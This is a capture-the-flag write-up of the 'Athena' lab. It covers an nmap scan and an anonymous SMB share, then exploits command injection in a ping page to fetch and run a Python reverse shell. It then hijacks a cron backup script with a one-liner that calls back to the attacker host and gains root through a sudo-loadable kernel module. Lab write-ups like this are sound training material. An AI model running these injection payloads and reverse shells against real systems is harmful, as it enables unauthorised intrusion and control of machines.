



Athena

Break all security and compromise the machine.

  120 min  6,460 

This room involved enumerating the web application to find a ping application running, which was vulnerable to command injection. Through this vulnerability you can gain a reverse shell and enumerate the target to find a backup script running as a cron job, that we have write permissions to. Through lateral movement we are able to gain a shell as Athena, who has privileges to load kernel modules that we can use to compromise the machine.

Through the initial Nmap scan we can find that there is a SMB Share on the target.

```
# Nmap 7.99 scan initiated Wed Jun 10 16:25:32 2026 as: /usr/lib/nmap/nmap -T4 -sCVT -p- -Pn -oA athena 10.130.188.47
Nmap scan report for 10.130.188.47
Host is up (0.087s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   3072 3b:c8:f8:13:e0:cb:42:60:0d:f6:4c:dc:55:d8:3b:ed (RSA)
|   256 1f:42:e1:c3:a5:17:2a:38:69:3e:9b:73:6d:cd:56:33 (ECDSA)
|_  256 7a:67:59:8d:37:c5:67:29:e8:53:e8:1e:df:b0:c7:1e (ED25519)
80/tcp    open  http         Apache httpd 2.4.41 ((Ubuntu))
|_ http-title: Athena - Gods of olympus
|_ http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp   open  netbios-ssn  Samba smbd 4
445/tcp   open  netbios-ssn  Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ smb2-time:
|   date: 2026-06-10T20:26:10
|_  start_date: N/A
|_ clock-skew: -1s
|_ smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_ nbstat: NetBIOS name: ROUTERPANEL, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
(unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 10 16:26:14 2026 -- 1 IP address (1 host up) scanned in 41.74 seconds
```

If we try and connect to the samba server we are able to see that there is a public share available. When connecting to the public share you can find a file with a message in it that will lead you to an end point on the site running on port 80. At this end point you are able to ping IP Addresses but the programming is vulnerable to command injection.

```
(gizmoe@TRAP)-[~/Documents/thm_rooms/athena]
$ smbclient -L //10.129.159.115 -N
Anonymous login successful
```

Sharename	Type	Comment
public	Disk	
IPC\$	IPC	IPC Service (Samba 4.15.13-Ubuntu)

```
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 10.129.159.115 (for a protocol between LANMAN1 and NT1)
failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
```

```
(gizmoe@TRAP)-[~/Documents/thm_rooms/athena]
$ smbclient //10.129.159.115/public -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
```

	D	0	Sun Apr 16 20:54:43 2023
.	D	0	Sun Apr 16 20:54:05 2023
msg_for_administrator.txt	N	253	Sun Apr 16 14:59:44 2023

```
19947120 blocks of size 1024. 9693360 blocks available
smb: \> get msg_for_administrator.txt
getting file \msg_for_administrator.txt of size 253 as msg_for_administrator.txt (0.6
KiloBytes/sec) (average 0.6 KiloBytes/sec)
smb: \> exit
```

```
(gizmoe@TRAP)-[~/Documents/thm_rooms/athena]
$ cat msg_for_administrator.txt
```

Dear Administrator,

I would like to inform you that a new Ping system is being developed and I left the corresponding application in a specific path, which can be accessed through the following address: /myrouterpanel

Yours sincerely,

Athena
Intern

After discovering the command injection, going straight for a reverse shell was not possible. Instead I utilized "wget" to transfer a python file disguised as a html file to the server and run it directly to gain a reverse shell as www-data user.

```
import socket, subprocess, os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.137.253", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
```

```
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
```

```
(gizmoe@TRAP)-[~/Documents/thm_rooms/athena]
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

```
(gizmoe@TRAP)-[~/Documents/thm_rooms/athena]
$ curl -X POST http://10.129.159.115/myrouterpanel/ping.php \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "ip=127.0.0.1%0Awget%20192.168.137.253/index.html%20-0%20/tmp/shell.py&submit="


```
>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.021 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.033 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.033 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.032 ms

— 127.0.0.1 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3071ms
rtt min/avg/max/mdev = 0.021/0.029/0.033/0.005 ms
</pre>
```


```

```
(gizmoe@TRAP)-[~/Documents/thm_rooms/athena]
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.159.115 - - [10/Jun/2026 22:08:00] "GET /index.html HTTP/1.1" 200 -
```

```
(gizmoe@TRAP)-[~/Documents/thm_rooms/athena]
$ nc -lvnp 4444
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
```

```
(gizmoe@TRAP)-[~/Documents/thm_rooms/athena]
$ curl -X POST http://10.129.159.115/myrouterpanel/ping.php \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "ip=127.0.0.1%0Apython3%20/tmp/shell.py&submit="
```

```
(gizmoe@TRAP)-[~/Documents/thm_rooms/athena]
$ nc -lvnp 4444
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.159.115:37140.
bash: cannot set terminal process group (595): Inappropriate ioctl for device
bash: no job control in this shell
www-data@routerpanel:/var/www/html/myrouterpanel$
```

After gaining this foothold I decided on enumerating for any back ups on the server and was able to find a directory with a backup.sh script that i had write permissions on. I overwrote the file to connect back as the user whos running the cron once it was executed gaining a shell as Athena.

```

www-data@routerpanel:/var/www/html/myrouterpanel$ find / -name "backup" 2>/dev/null
<ml/myrouterpanel$ find / -name "backup" 2>/dev/null
/usr/share/backup
www-data@routerpanel:/var/www/html/myrouterpanel$ ls /usr/share/backup
ls /usr/share/backup
backup.sh
www-data@routerpanel:/var/www/html/myrouterpanel$ cat /usr/share/backup/backup.sh
<html/myrouterpanel$ cat /usr/share/backup/backup.sh
#!/bin/bash

backup_dir_zip=~/.backup

mkdir -p "$backup_dir_zip"

cp -r /home/athena/notes/* "$backup_dir_zip"

zip -r "$backup_dir_zip/notes_backup.zip" "$backup_dir_zip"

rm /home/athena/backup/*.txt
rm /home/athena/backup/*.sh

echo "Backup completed ..."
www-data@routerpanel:/var/www/html/myrouterpanel$

```

```

(gizmoe@TRAP)-[~/Documents/thm_rooms/athena]
$ nc -lvnp 5555
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:5555
Ncat: Listening on 0.0.0.0:5555

```

```

www-data@routerpanel:/var/www/html/myrouterpanel$ echo -e '#!/bin/bash\npython3 -c "import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.
137.253",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess
.call(["/bin/bash","\n-i\n"])"' > /usr/share/backup/backup.sh
<bin/bash","\n-i\n"])"' > /usr/share/backup/backup.sh
www-data@routerpanel:/var/www/html/myrouterpanel$

```

```

(gizmoe@TRAP)-[~/Documents/thm_rooms/athena]
$ nc -lvnp 5555
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.129.159.115:43112.
bash: cannot set terminal process group (1580): Inappropriate ioctl for device
bash: no job control in this shell
athena@routerpanel:/$

```

Once we have a shell as Athena you can see that Athena has permissions to load kernel modules. Once we load the kernel and send the signal to kill the parent the designated magic constant signature directly to the active shell process ID causes the kernel module to flip the task token structures

```

athena@routerpanel:/#$ sudo -l
sudo -l

```

Matching Defaults entries for athena on routerpanel:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User athena may run the following commands on routerpanel:

(root) NOPASSWD: /usr/sbin/insmod /mnt/ ... /secret/venom.ko

athena@routerpanel:/\$ sudo /usr/sbin/insmod /mnt/ ... /secret/venom.ko

sudo /usr/sbin/insmod /mnt/ ... /secret/venom.ko

athena@routerpanel:/\$ killall -57 0

killall -57 0

0: no process found

athena@routerpanel:/\$ kill -57 0

kill -57 0

athena@routerpanel:/\$ whoami

whoami

root

athena@routerpanel:/\$ cd /root

cd /root

athena@routerpanel:/root\$ ls

ls

fsociety00.dat

root.txt

athena@routerpanel:/root\$

Happy Hacking :D